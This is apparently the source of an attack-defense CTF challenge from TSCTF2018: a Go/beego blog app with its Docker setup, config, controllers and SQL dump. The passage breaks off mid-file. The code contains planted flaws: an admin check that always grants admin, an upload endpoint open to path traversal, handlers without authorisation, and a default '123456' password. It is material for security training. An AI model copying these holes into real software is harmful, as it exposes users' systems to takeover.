    "content": "FROM golang:1.12-alpine\nWORKDIR /go/src/\nCOPY . .\nRUN cp my.cnf /etc/my.cnf; \\\n    cp goenv.sh /etc/profile.d/goenv.sh; \\\n    cp -f motd /etc/motd; \\\n    \\\n    cd /go/bin/ && \\\n    go build /go/src/gotsctf2018/vendor/github.com/beego/bee; \\\n    apk add --no-cache python bash vim openssh-server openssh-sftp-server sudo mysql mysql-client; \\\n    \\\n    adduser -D -h /home/ctf ctf; \\\n    chown ctf:ctf -R /go/; \\\n    chown root:root /go/src/gotsctf2018/flag;\nRUN ln -s /go/src/gotsctf2018/startwebserver.sh /home/ctf/startwebserver.sh; \\\n    rm -rf /var/cache/apk/* tmp my.cnf run.sh goenv.sh Dockerfile motd docker.sh build_images.sh flag.py;\n\nEXPOSE 8080\nEXPOSE 22\nCMD [\"/tmp/run.sh\"]\n\n"
  },
  {
    "path": "web_gotsctf2018/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t moxiaoxi/gotsctf2018 ."
  },
  {
    "path": "web_gotsctf2018/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run  -v /var/lib/mysql  -v `pwd`/tmp:/tmp -p {out_port}:8080 -p {other_port1}:8088  -p {ssh_port}:22  -d --name {team_name}  -ti moxiaoxi/gotsctf2018\n"
  },
  {
    "path": "web_gotsctf2018/goenv.sh",
    "content": "#!/bin/sh\n\nPATH=/go/bin:/usr/local/go/bin:$PATH\nexport GOPATH=\"/go\""
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/conf/app.conf",
    "content": "appname = gotsctf\nhttpport = 8080\nrunmode = dev\n\ndb_user = \"root\"\ndb_pass = \"\"\ndb_host = \"localhost\"\ndb_port = 3306\ndb_name = \"gotsctf\"\ndb_max_idle_conn = 30\ndb_max_open_conn = 200\n\nblog_cache_expire = 5\ncatalog_cache_expire = 5\n\nblog_logo = \"/static/images/tsctf-square.png\"\nblog_title = \"Go! TSCTF2018\"\nblog_resume = \"业务逻辑漏洞，了解一下？\"\nroot_email = \"2018@tsctf.com\"\n\nroot_name = \"tsctf\"\nroot_pass = \"123456\"\ncomment   = \"Change your password ASAP. Checker will read username and password here.\"\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/admin_controller.go",
    "content": "package controllers\n\ntype AdminController struct {\n\tBaseController\n}\n\nfunc (this *AdminController) CheckLogin() {\n\tif !this.IsAdmin {\n\t\tthis.Redirect(\"/login\", 302)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/api_controller.go",
    "content": "package controllers\n\nimport (\n\t\"time\"\n\n\t\"gotsctf2018/g\"\n\t\"github.com/ulricqin/goutils/filetool\"\n\t\"math/rand\"\n)\n\nconst (\n\tUPLOAD_DIR = \"static/uploads\"\n)\n\ntype ApiController struct {\n\tBaseController\n}\n\nfunc randomString(n int64) string {\n\trand.Seed(time.Now().UnixNano())\n\n\tvar letterRunes = []rune(\"1234567890\")\n\n\tb := make([]rune, n)\n\tfor i := range b {\n\t\tb[i] = letterRunes[rand.Intn(len(letterRunes))]\n\t}\n\treturn string(b)\n}\n\nfunc (this *ApiController) Health() {\n\tthis.Ctx.WriteString(\"ok\")\n}\n\nfunc (this *ApiController) Upload() {\n\tresult := map[string]interface{}{\n\t\t\"success\": false,\n\t}\n\n\tdefer func() {\n\t\tthis.Data[\"json\"] = &result\n\t\tthis.ServeJSON()\n\t}()\n\n\t_, header, err := this.GetFile(\"image\")\n\tif err != nil {\n\t\treturn\n\t}\n\n\tname := header.Filename\n\n\tpath := this.GetString(\"savepath\")\n\tif path != \"\" {\n\t\tpath = UPLOAD_DIR + path + \"/\"\n\t} else {\n\t\tpath = UPLOAD_DIR + \"/usercontents/editor/\"\n\t}\n\n\timgPath := path + name\n\n\tfiletool.InsureDir(path)\n\terr = this.SaveToFile(\"image\", imgPath)\n\tif err != nil {\n\t\treturn\n\t}\n\n\timgUrl := \"/\" + imgPath\n\n\tresult[\"link\"] = imgUrl\n\tresult[\"success\"] = true\n\n}\n\nfunc (this *ApiController) Markdown() {\n\tif this.IsAjax() {\n\t\tresult := map[string]interface{}{\n\t\t\t\"success\": false,\n\t\t}\n\t\taction := this.GetString(\"action\")\n\t\tswitch action {\n\t\tcase \"preview\":\n\t\t\tcontent := this.GetString(\"content\")\n\t\t\tresult[\"preview\"] = g.RenderMarkdown(content)\n\t\t\tresult[\"success\"] = true\n\t\t}\n\t\tthis.Data[\"json\"] = result\n\t\tthis.ServeJSON()\n\t}\n}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/article_controller.go",
    "content": "package controllers\n\nimport (\n\t\"gotsctf2018/models\"\n\t\"gotsctf2018/models/blog\"\n\t\"gotsctf2018/models/catalog\"\n)\n\ntype ArticleController struct {\n\tBaseController\n}\n\nfunc (this *ArticleController) Draft() {\n\tvar blogs []*models.Blog\n\tblog.Blogs().Filter(\"Status\", 0).All(&blogs)\n\tthis.Data[\"Blogs\"] = blogs\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"article/draft.html\"\n}\n\nfunc (this *ArticleController) Add() {\n\tthis.Data[\"Catalogs\"] = catalog.All()\n\tthis.Data[\"IsPost\"] = true\n\tif !this.IsAdmin {\n\t\tthis.Redirect(\"/login\", 302)\n\t}\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"article/add.html\"\n\tthis.JsStorage(\"deleteKey\", \"post/new\")\n}\n\nfunc (this *ArticleController) DoAdd() {\n\ttitle := this.GetString(\"title\")\n\tident := this.GetString(\"ident\")\n\tkeywords := this.GetString(\"keywords\")\n\tcatalog_id := this.GetIntWithDefault(\"catalog_id\", -1)\n\taType := this.GetIntWithDefault(\"type\", -1)\n\tstatus := this.GetIntWithDefault(\"status\", -1)\n\tcontent := this.GetString(\"content\")\n\n\tif catalog_id == -1 || aType == -1 || status == -1 {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tif title == \"\" || ident == \"\" {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tcp := catalog.OneById(int64(catalog_id))\n\tif cp == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\tb := &models.Blog{Ident: ident, Title: title, Keywords: keywords, CatalogId: int64(catalog_id), Type: int8(aType), Status: int8(status)}\n\t_, err := blog.Save(b, content)\n\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.JsStorage(\"deleteKey\", \"post/new\")\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/catalog/\"+cp.Ident)\n\tthis.Ctx.WriteString(\"Add success\")\n}\n\nfunc (this *ArticleController) Edit() {\n\tid, err := this.GetInt(\"id\")\n\tif err != nil {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tb := blog.OneById(int64(id))\n\tif b == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\tthis.Data[\"Content\"] = blog.ReadBlogContent(b).Content\n\tthis.Data[\"Blog\"] = b\n\tthis.Data[\"Catalogs\"] = catalog.All()\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"article/edit.html\"\n}\n\nfunc (this *ArticleController) DoEdit() {\n\tid, err := this.GetInt(\"id\")\n\tif err != nil {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tb := blog.OneById(int64(id))\n\tif b == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\ttitle := this.GetString(\"title\")\n\tident := this.GetString(\"ident\")\n\tkeywords := this.GetString(\"keywords\")\n\tcatalog_id := this.GetIntWithDefault(\"catalog_id\", -1)\n\taType := this.GetIntWithDefault(\"type\", -1)\n\tstatus := this.GetIntWithDefault(\"status\", -1)\n\tcontent := this.GetString(\"content\")\n\n\tif catalog_id == -1 || aType == -1 || status == -1 {\n\t\tthis.Ctx.WriteString(\"catalog || type || status is illegal\")\n\t\treturn\n\t}\n\n\tif title == \"\" || ident == \"\" {\n\t\tthis.Ctx.WriteString(\"title or ident is blank\")\n\t\treturn\n\t}\n\n\tcp := catalog.OneById(int64(catalog_id))\n\tif cp == nil {\n\t\tthis.Ctx.WriteString(\"catalog_id not exists\")\n\t\treturn\n\t}\n\n\tb.Ident = ident\n\tb.Title = title\n\tb.Keywords = keywords\n\tb.CatalogId = int64(catalog_id)\n\tb.Type = int8(aType)\n\tb.Status = int8(status)\n\n\terr = blog.Update(b, content)\n\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.JsStorage(\"deleteKey\", \"post/edit\")\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/catalog/\"+cp.Ident)\n\tthis.Ctx.WriteString(\"Edit success\")\n}\n\nfunc (this *ArticleController) Del() {\n\tid, err := this.GetInt(\"id\")\n\tif err != nil {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tb := blog.OneById(int64(id))\n\tif b == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\terr = blog.Del(b)\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/\")\n\tthis.Ctx.WriteString(\"Del success\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/base_controller.go",
    "content": "package controllers\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\n\t\"github.com/astaxie/beego\"\n\t\"gotsctf2018/g\"\n\t\"github.com/ulricqin/goutils/paginator\"\n\n)\n\ntype Checker interface {\n\tCheckLogin()\n}\n\ntype BaseController struct {\n\tbeego.Controller\n\tIsAdmin bool\n}\n\nfunc (this *BaseController) Prepare() {\n\tthis.Data[\"BlogLogo\"] = g.BlogLogo\n\tthis.Data[\"BlogTitle\"] = g.BlogTitle\n\tthis.Data[\"BlogResume\"] = g.BlogResume\n\tthis.Data[\"RootName\"] = g.RootName\n\tthis.Data[\"RootEmail\"] = g.RootEmail\n\n\tworkPath, err := os.Getwd()\n\tfile, err := os.Open(filepath.Join(workPath, \"flag\"))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfdata := make([]byte, 100)\n\tn, err := file.Read(fdata)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tflag := string(fdata[:n])\n\n\tthis.Data[\"FlagData\"] = flag\n\t// **CHECKER USING**\n\t// Do NOT edit unless you know what you are doing.\n\n\tthis.AssignIsAdmin()\n\tif app, ok := this.AppController.(Checker); ok {\n\t\tapp.CheckLogin()\n\t}\n}\n\nfunc (this *BaseController) AssignIsAdmin() {\n\tbb_name := this.Ctx.GetCookie(\"bb_name\")\n\tbb_password := this.Ctx.GetCookie(\"bb_password\")\n\tif bb_name == \"\" || bb_password == \"\" {\n\t\tthis.IsAdmin = false\n\t\treturn\n\t}\n\n\tif bb_name != g.RootName || bb_password != g.RootPass {\n\t\tthis.IsAdmin = false\n\t}\n\n\tthis.IsAdmin = true\n\tthis.Data[\"IsAdmin\"] = this.IsAdmin\n}\n\nfunc (this *BaseController) SetPaginator(per int, nums int64) *paginator.Paginator {\n\tp := paginator.NewPaginator(this.Ctx.Request, per, nums)\n\tthis.Data[\"paginator\"] = p\n\treturn p\n}\n\nfunc (this *BaseController) GetIntWithDefault(paramKey string, defaultVal int) int {\n\tvalStr := this.GetString(paramKey)\n\tvar val int\n\tif valStr == \"\" {\n\t\tval = defaultVal\n\t} else {\n\t\tvar err error\n\t\tval, err = strconv.Atoi(valStr)\n\t\tif err != nil {\n\t\t\tval = defaultVal\n\t\t}\n\t}\n\treturn val\n}\n\nfunc (this *BaseController) JsStorage(action, key string, values ...string) {\n\tvalue := action + \":::\" + key\n\tif len(values) > 0 {\n\t\tvalue += \":::\" + values[0]\n\t}\n\tthis.Ctx.SetCookie(\"JsStorage\", value, 1<<31-1, \"/\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/catalog_controller.go",
    "content": "package controllers\n\nimport (\n\t\"fmt\"\n\t\"gotsctf2018/models\"\n\t\"gotsctf2018/models/catalog\"\n\t\"github.com/ulricqin/goutils/filetool\"\n\t\"time\"\n)\n\nconst (\n\tCATALOG_IMG_DIR = \"static/uploads/usercontents/catalogs\"\n)\n\ntype CatalogController struct {\n\tAdminController\n}\n\nfunc (this *CatalogController) Add() {\n\tthis.Data[\"IsAddCatalog\"] = true\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"catalog/add.html\"\n}\n\nfunc (this *CatalogController) Edit() {\n\tid, err := this.GetInt(\"id\")\n\tif err != nil {\n\t\tthis.Ctx.WriteString(\"param id should be digit\")\n\t\treturn\n\t}\n\n\tc := catalog.OneById(int64(id))\n\tif c == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\tthis.Data[\"Catalog\"] = c\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"catalog/edit.html\"\n}\n\nfunc (this *CatalogController) Del() {\n\tid, err := this.GetInt(\"id\")\n\tif err != nil {\n\t\tthis.Ctx.WriteString(\"param id should be digit\")\n\t\treturn\n\t}\n\n\tc := catalog.OneById(int64(id))\n\tif c == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\terr = catalog.Del(c)\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/\")\n\tthis.Ctx.WriteString(\"Del success\")\n}\n\nfunc (this *CatalogController) extractCatalog(imgMust bool) (*models.Catalog, error) {\n\to := &models.Catalog{}\n\to.Name = this.GetString(\"name\")\n\to.Ident = this.GetString(\"ident\")\n\to.Resume = this.GetString(\"resume\")\n\to.DisplayOrder = this.GetIntWithDefault(\"display_order\", 0)\n\n\tif o.Name == \"\" {\n\t\treturn nil, fmt.Errorf(\"name is blank\")\n\t}\n\n\tif o.Ident == \"\" {\n\t\treturn nil, fmt.Errorf(\"ident is blank\")\n\t}\n\n\t_, header, err := this.GetFile(\"img\")\n\tif err != nil && imgMust {\n\t\treturn nil, err\n\t}\n\n\tif err == nil {\n\t\text := filetool.Ext(header.Filename)\n\t\tif ext == \"\" {\n\t\t\to.ImgUrl = \"\"\n\t\t\treturn o, nil\n\t\t}\n\t\timgPath := fmt.Sprintf(\"%s/%s_%d%s\", CATALOG_IMG_DIR, o.Ident, time.Now().Unix(), ext)\n\n\t\tfiletool.InsureDir(CATALOG_IMG_DIR)\n\t\terr = this.SaveToFile(\"img\", imgPath)\n\t\tif err != nil && imgMust {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err == nil {\n\t\t\to.ImgUrl = \"/\" + imgPath\n\t\t}\n\t}\n\n\treturn o, nil\n}\n\nfunc (this *CatalogController) DoEdit() {\n\tcid, err := this.GetInt(\"catalog_id\")\n\tif err != nil {\n\t\tthis.Ctx.WriteString(\"catalog_id is illegal\")\n\t\treturn\n\t}\n\n\told := catalog.OneById(int64(cid))\n\tif old == nil {\n\t\tthis.Ctx.WriteString(fmt.Sprintf(\"no such catalog_id: %d\", cid))\n\t\treturn\n\t}\n\n\tvar o *models.Catalog\n\to, err = this.extractCatalog(false)\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\told.Ident = o.Ident\n\told.Name = o.Name\n\told.Resume = o.Resume\n\told.DisplayOrder = o.DisplayOrder\n\tif o.ImgUrl != \"\" {\n\t\told.ImgUrl = o.ImgUrl\n\t}\n\n\tif err = catalog.Update(old); err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/\")\n\tthis.Ctx.WriteString(\"Edit success\")\n}\n\nfunc (this *CatalogController) DoAdd() {\n\to, err := this.extractCatalog(true)\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\t_, err = catalog.Save(o)\n\tif err != nil {\n\t\tthis.Ctx.WriteString(err.Error())\n\t\treturn\n\t}\n\n\tthis.Ctx.ResponseWriter.Header().Add(\"Refresh\", \"1; url=/catalog/\"+o.Ident)\n\tthis.Ctx.WriteString(\"Add success\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/login_controller.go",
    "content": "package controllers\n\nimport (\n\t\"gotsctf2018/g\"\n\t\"crypto/sha512\"\n\t\"encoding/hex\"\n)\n\ntype LoginController struct {\n\tBaseController\n}\n\nfunc (this *LoginController) Login() {\n\tthis.TplName = \"login/login.html\"\n}\n\nfunc (this *LoginController) DoLogin() {\n\tname := this.GetString(\"name\")\n\tif name == \"\" {\n\t\tthis.Ctx.WriteString(\"name is blank\")\n\t\treturn\n\t}\n\n\tif this.GetString(\"password\") == \"\" {\n\t\tthis.Ctx.WriteString(\"password is blank\")\n\t\treturn\n\t}\n\thashed_pass := sha512.Sum384([]byte(this.GetString(\"password\")))\n\tpassword := hex.EncodeToString(hashed_pass[:])\n\n\tif g.RootName != name {\n\t\tthis.Ctx.WriteString(\"name is incorrect\")\n\t\treturn\n\t}\n\n\tif g.RootPass != password {\n\t\tthis.Ctx.WriteString(\"password is incorrect\")\n\t\treturn\n\t}\n\n\tthis.Ctx.SetCookie(\"bb_name\", g.RootName, 2592000, \"/\")\n\tthis.Ctx.SetCookie(\"bb_password\", g.RootPass, 2592000, \"/\")\n\tthis.Ctx.WriteString(\"login success\")\n}\n\nfunc (this *LoginController) Logout() {\n\t//this.Ctx.ResponseWriter.Header().Add(\"Set-Cookie\", \"bb_name=\"+g.RootName+\"; Max-Age=0; Path=/;\")\n\t//this.Ctx.ResponseWriter.Header().Add(\"Set-Cookie\", \"bb_password=\"+g.RootPass+\"; Max-Age=0; Path=/;\")\n\tthis.Redirect(\"/\", 302)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/main_controller.go",
    "content": "package controllers\n\nimport (\n\t\"gotsctf2018/g\"\n\t\"gotsctf2018/models/blog\"\n\t\"gotsctf2018/models/catalog\"\n)\n\ntype MainController struct {\n\tBaseController\n}\n\nfunc (this *MainController) Get() {\n\tthis.Data[\"Catalogs\"] = catalog.All()\n\tthis.Data[\"PageTitle\"] = \"首页\"\n\tthis.Layout = \"layout/default.html\"\n\tthis.TplName = \"index.html\"\n}\n\nfunc (this *MainController) Read() {\n\tident := this.GetString(\":ident\")\n\tb := blog.OneByIdent(ident)\n\tif b == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\tb.Views = b.Views + 1\n\tblog.Update(b, \"\")\n\n\tthis.Data[\"Blog\"] = b\n\tthis.Data[\"Content\"] = g.RenderMarkdown(blog.ReadBlogContent(b).Content)\n\tthis.Data[\"PageTitle\"] = b.Title\n\tthis.Data[\"Catalog\"] = catalog.OneById(b.CatalogId)\n\tthis.Layout = \"layout/default.html\"\n\tthis.TplName = \"article/read.html\"\n}\n\nfunc (this *MainController) ListByCatalog() {\n\tcata := this.Ctx.Input.Param(\":ident\")\n\tif cata == \"\" {\n\t\tthis.Abort(\"400\")\n\t\treturn\n\t}\n\n\tlimit := this.GetIntWithDefault(\"limit\", 10)\n\n\tc := catalog.OneByIdent(cata)\n\tif c == nil {\n\t\tthis.Abort(\"404\")\n\t\treturn\n\t}\n\n\tids := blog.Ids(c.Id)\n\tpager := this.SetPaginator(limit, int64(len(ids)))\n\tblogs := blog.ByCatalog(c.Id, pager.Offset(), limit)\n\n\tthis.Data[\"Catalog\"] = c\n\tthis.Data[\"Blogs\"] = blogs\n\tthis.Data[\"PageTitle\"] = c.Name\n\n\tthis.Layout = \"layout/default.html\"\n\tthis.TplName = \"article/by_catalog.html\"\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/controllers/me_controller.go",
    "content": "package controllers\n\ntype MeController struct {\n\tAdminController\n}\n\nfunc (this *MeController) Default() {\n\tthis.Layout = \"layout/admin.html\"\n\tthis.TplName = \"me/default.html\"\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/flag",
    "content": "TSCTF{tttttt}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/g/cfg.go",
    "content": "package g\n\nimport (\n\t\"crypto/sha512\"\n\t\"encoding/hex\"\n)\n\nvar (\n\tRootEmail      string\n\tRootName       string\n\tRootPass       string\n\tBlogTitle      string\n\tBlogResume     string\n\tBlogLogo       string\n)\n\nfunc initCfg() {\n\tRootName = Cfg.String(\"root_name\")\n\tRootEmail = Cfg.String(\"root_email\")\n\thashed_pass := sha512.Sum384([]byte(Cfg.String(\"root_pass\")))\n\tRootPass = hex.EncodeToString(hashed_pass[:])\n\tBlogTitle = Cfg.String(\"blog_title\")\n\tBlogResume = Cfg.String(\"blog_resume\")\n\tBlogLogo = Cfg.String(\"blog_logo\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/g/g.go",
    "content": "package g\n\nimport (\n\t\"fmt\"\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/orm\"\n\t_ \"github.com/go-sql-driver/mysql\"\n)\n\nvar catalogCacheExpire int64\nvar RunMode string\nvar Cfg = beego.AppConfig\n\nfunc InitEnv() {\n\t// database\n\tdbUser := Cfg.String(\"db_user\")\n\tdbPass := Cfg.String(\"db_pass\")\n\tdbHost := Cfg.String(\"db_host\")\n\tdbPort := Cfg.String(\"db_port\")\n\tdbName := Cfg.String(\"db_name\")\n\tmaxIdleConn, _ := Cfg.Int(\"db_max_idle_conn\")\n\tmaxOpenConn, _ := Cfg.Int(\"db_max_open_conn\")\n\tdbLink := fmt.Sprintf(\"%s:%s@tcp(%s:%s)/%s?charset=utf8\", dbUser, dbPass, dbHost, dbPort, dbName) + \"&loc=Asia%2FChongqing\"\n\n\torm.RegisterDriver(\"mysql\", orm.DRMySQL)\n\torm.RegisterDataBase(\"default\", \"mysql\", dbLink, maxIdleConn, maxOpenConn)\n\n\tRunMode = Cfg.String(\"runmode\")\n\tif RunMode == \"dev\" {\n\t\torm.Debug = true\n\t}\n\n\tinitCfg()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/g/markdown.go",
    "content": "package g\n\nimport (\n\t\"github.com/slene/blackfriday\"\n)\n\nfunc RenderMarkdown(mdStr string) string {\n\thtmlFlags := 0\n\thtmlFlags |= blackfriday.HTML_USE_XHTML\n\thtmlFlags |= blackfriday.HTML_SKIP_SCRIPT\n\thtmlFlags |= blackfriday.HTML_GITHUB_BLOCKCODE\n\thtmlFlags |= blackfriday.HTML_OMIT_CONTENTS\n\thtmlFlags |= blackfriday.HTML_COMPLETE_PAGE\n\trenderer := blackfriday.HtmlRenderer(htmlFlags, \"\", \"\")\n\n\t// set up the parser\n\textensions := 0\n\textensions |= blackfriday.EXTENSION_NO_INTRA_EMPHASIS\n\textensions |= blackfriday.EXTENSION_TABLES\n\textensions |= blackfriday.EXTENSION_FENCED_CODE\n\textensions |= blackfriday.EXTENSION_AUTOLINK\n\textensions |= blackfriday.EXTENSION_STRIKETHROUGH\n\textensions |= blackfriday.EXTENSION_HARD_LINE_BREAK\n\textensions |= blackfriday.EXTENSION_SPACE_HEADERS\n\textensions |= blackfriday.EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK\n\n\tbody := blackfriday.Markdown([]byte(mdStr), renderer, extensions)\n\n\treturn string(body)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/gotsctf.sql",
    "content": "-- phpMyAdmin SQL Dump\n-- version 4.6.5.2\n-- https://www.phpmyadmin.net/\n--\n-- Host: localhost\n-- Generation Time: Jun 06, 2018 at 07:45 PM\n-- Server version: 10.1.21-MariaDB\n-- PHP Version: 7.1.1\n\nSET SQL_MODE = \"NO_AUTO_VALUE_ON_ZERO\";\nSET time_zone = \"+00:00\";\n\n\n/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n/*!40101 SET NAMES utf8mb4 */;\n\n--\n-- Database: `gotsctf`\n--\nCREATE DATABASE IF NOT EXISTS `gotsctf` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;\nUSE `gotsctf`;\n\n-- --------------------------------------------------------\n\n--\n-- Table structure for table `bb_blog`\n--\n\nCREATE TABLE IF NOT EXISTS `bb_blog` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\n  `ident` varchar(255) NOT NULL,\n  `title` varchar(255) NOT NULL,\n  `keywords` varchar(255) DEFAULT NULL,\n  `catalog_id` bigint(20) NOT NULL,\n  `blog_content_id` bigint(20) NOT NULL,\n  `blog_content_last_update` bigint(20) NOT NULL,\n  `type` tinyint(4) NOT NULL,\n  `status` tinyint(4) NOT NULL,\n  `views` bigint(20) NOT NULL,\n  `created` datetime NOT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `ident` (`ident`),\n  UNIQUE KEY `blog_content_id` (`blog_content_id`),\n  KEY `bb_blog_catalog_id` (`catalog_id`)\n) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;\n\n--\n-- Dumping data for table `bb_blog`\n--\n\nINSERT INTO `bb_blog` (`id`, `ident`, `title`, `keywords`, `catalog_id`, `blog_content_id`, `blog_content_last_update`, `type`, `status`, `views`, `created`) VALUES\n(1, 'welcome', '欢迎！', 'blog', 1, 1, 1527737879, 0, 1, 0, '2018-05-30 14:34:35');\n\n-- --------------------------------------------------------\n\n--\n-- Table structure for table `bb_blog_content`\n--\n\nCREATE TABLE IF NOT EXISTS `bb_blog_content` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\n  `content` longtext NOT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;\n\n--\n-- Dumping data for table `bb_blog_content`\n--\n\nINSERT INTO `bb_blog_content` (`id`, `content`) VALUES\n(1, '# RUA！欢迎来到<span style=\\\"color:#1273BD\\\">我的博客</span>！\\n\\n![Colored Logo-Blue-2.png](/static/uploads/usercontents/editor/1527669513.png)\\n\\n');\n\n-- --------------------------------------------------------\n\n--\n-- Table structure for table `bb_catalog`\n--\n\nCREATE TABLE IF NOT EXISTS `bb_catalog` (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\n  `ident` varchar(255) NOT NULL,\n  `name` varchar(255) NOT NULL,\n  `resume` varchar(255) NOT NULL,\n  `display_order` int(11) NOT NULL,\n  `img_url` varchar(255) NOT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `ident` (`ident`)\n) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;\n\n--\n-- Dumping data for table `bb_catalog`\n--\n\nINSERT INTO `bb_catalog` (`id`, `ident`, `name`, `resume`, `display_order`, `img_url`) VALUES\n(1, 'TSCTF', 'TSCTF', '天枢CTF2018', 99, '/static/uploads/usercontents/catalogs/TSCTF_1527662021.jpg');\n\n/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/main.go",
    "content": "package main\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"gotsctf2018/g\"\n\t_ \"gotsctf2018/routers\"\n)\n\nfunc main() {\n\tg.InitEnv()\n\tbeego.Run()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/models/blog/blog.go",
    "content": "package blog\n\nimport (\n\t\"fmt\"\n\t\"github.com/astaxie/beego/orm\"\n\t. \"gotsctf2018/models\"\n\t\"time\"\n\t\"html/template\"\n)\n\nfunc OneById(id int64) *Blog {\n\tif id <= 0 {\n\t\treturn nil\n\t}\n\n\tif p := OneByIdInDB(id); p != nil {\n\t\treturn p\n\t}\n\treturn nil\n}\n\nfunc OneByIdInDB(id int64) *Blog {\n\tif id <= 0 {\n\t\treturn nil\n\t}\n\n\to := Blog{Id: id}\n\terr := orm.NewOrm().Read(&o, \"Id\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn &o\n}\n\nfunc IdByIdent(ident string) int64 {\n\tif ident == \"\" {\n\t\treturn 0\n\t}\n\n\tif p := OneByIdentInDB(ident); p != nil {\n\t\treturn p.Id\n\t} else {\n\t\treturn 0\n\t}\n}\n\nfunc IdentExists(ident string) bool {\n\tid := IdByIdent(ident)\n\treturn id > 0\n}\n\nfunc OneByIdent(ident string) *Blog {\n\tid := IdByIdent(ident)\n\treturn OneById(id)\n}\n\nfunc OneByIdentInDB(ident string) *Blog {\n\tif ident == \"\" {\n\t\treturn nil\n\t}\n\n\tc := Blog{Ident: ident}\n\terr := orm.NewOrm().Read(&c, \"Ident\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &c\n}\n\nfunc IdsInDB(catalog_id int64) []int64 {\n\tif catalog_id <= 0 {\n\t\treturn []int64{}\n\t}\n\n\tvar blogs []Blog\n\tBlogs().Filter(\"CatalogId\", catalog_id).Filter(\"Status\", 1).OrderBy(\"-Created\").All(&blogs, \"Id\")\n\tsize := len(blogs)\n\tif size == 0 